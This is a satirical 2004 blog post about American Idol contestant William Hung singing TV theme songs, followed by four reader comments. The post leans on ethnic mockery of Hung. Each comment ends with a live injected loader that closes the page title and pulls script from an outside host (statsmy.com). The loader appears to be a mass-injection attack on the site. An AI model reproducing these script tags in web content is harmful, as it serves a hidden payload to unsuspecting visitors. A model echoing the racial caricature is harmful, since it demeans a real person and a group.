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American Idol William Hung goes Bang crazy!
by Mark on 2/26/2004 (4)

Hung: Grinning like Ho-Chi-Min after the fall of Saigon.
The "Asian Bumblebee", American Idol reject William Hung cuts a new CD!

American Idol reject, pop sensation, William Hung, a.k.a, the "Asian Bumblebee" announced a new CD release on the Bamboozle record label. Hung elaborates:

"Now that I have captured world attention with my version of 'She Bangs', I am planning a new CD featuring some lesser known songs. I am an engineering student, and know how to use my mathematics ability to anaylyze public taste and structure a highly concise encore with zero tolerance for failure. Here is an example:

Hung walked up to a microphone, lowered it a foot, and began swinging his arms in his trademark "Asian Bumblebee" roundhouse fashion.

The sound system began playing the musical theme for the 70's TV show, "Bonanza".

"Duh-duh-duh-duh, duh-duh-duh, duh-duh-duh...Bonanza! Duh-duh-duh-duh, duh-duh-duh, duh-duh-duh...duh-da-da-da!"

Hung swinged his arms even faster

"Little Joe, Hoss and Ben, Adam and Hop Sing!

duh-duh-duh-duh, duh-duh-duh, duh-duh-duh watch it on TV!"

Grinning like Ho chi Minn after the fall of Saigon, Hung continued:

"In this next song, I sing the theme to Star Wars!"

"Star Wars!, nothing but Star Wars! Every where, Star Wars! In my living room...Luke and Leah and Chewie and Darth, and my-favorite, Han Soloooooo! Star Wars! Everywhere Star Wars! In stores and theatres everyhwere!"

Hung continued

"For my next song , I..."

The stage lights went out, and the sound system shut down. A familiar voice came over the P.A. system

"William, this is Simon Cowell. William, I think you need to understand the nature of your fame. People are fascinated with you because you are comical, not talented, and I can assure you that pop sensations, which is exactly what you are, tend to go flop overnight when the act gets old. The best example I can think of is the Rally's 'cha-ching' kid Seth Green. Last that I heard, Seth really is working at a Rally's in Bel Aire. My recommendation is to milk 'She Bangs' for all it's worth, and go back to engineering class, or this silly dream is going to come crashing down on you and turn into a life-long nightmare of dissapointment.

Hung looked suddenly somber, his arms and eyes dropping down to the darkened stage.

A few seconds passed, Hungs eyes lit up once again

"In this next song I sing the theme to 'Hawaii Five-O'! Notice how I swing my arms in sync with the trumpets!"

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1. by feaglin on 3/1/2007 4:52:29 PM
lolz... and I've never even heard of William Hung </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by William Hung Bobble Head on 3/1/2007 4:52:29 PM
William Hung Bobble Head http://www12.brinkster.com/melloveswilly/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by noelle on 3/1/2007 4:52:29 PM
i think that it is really cool to have william hung. he was so bad that he was good!!!!!!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Megan on 3/1/2007 4:52:29 PM
William Hung is awesome i love that he wont give up and that he trys his best and is proud of himself and that he has so much confidence in himself >>keep on truckin<<go.p </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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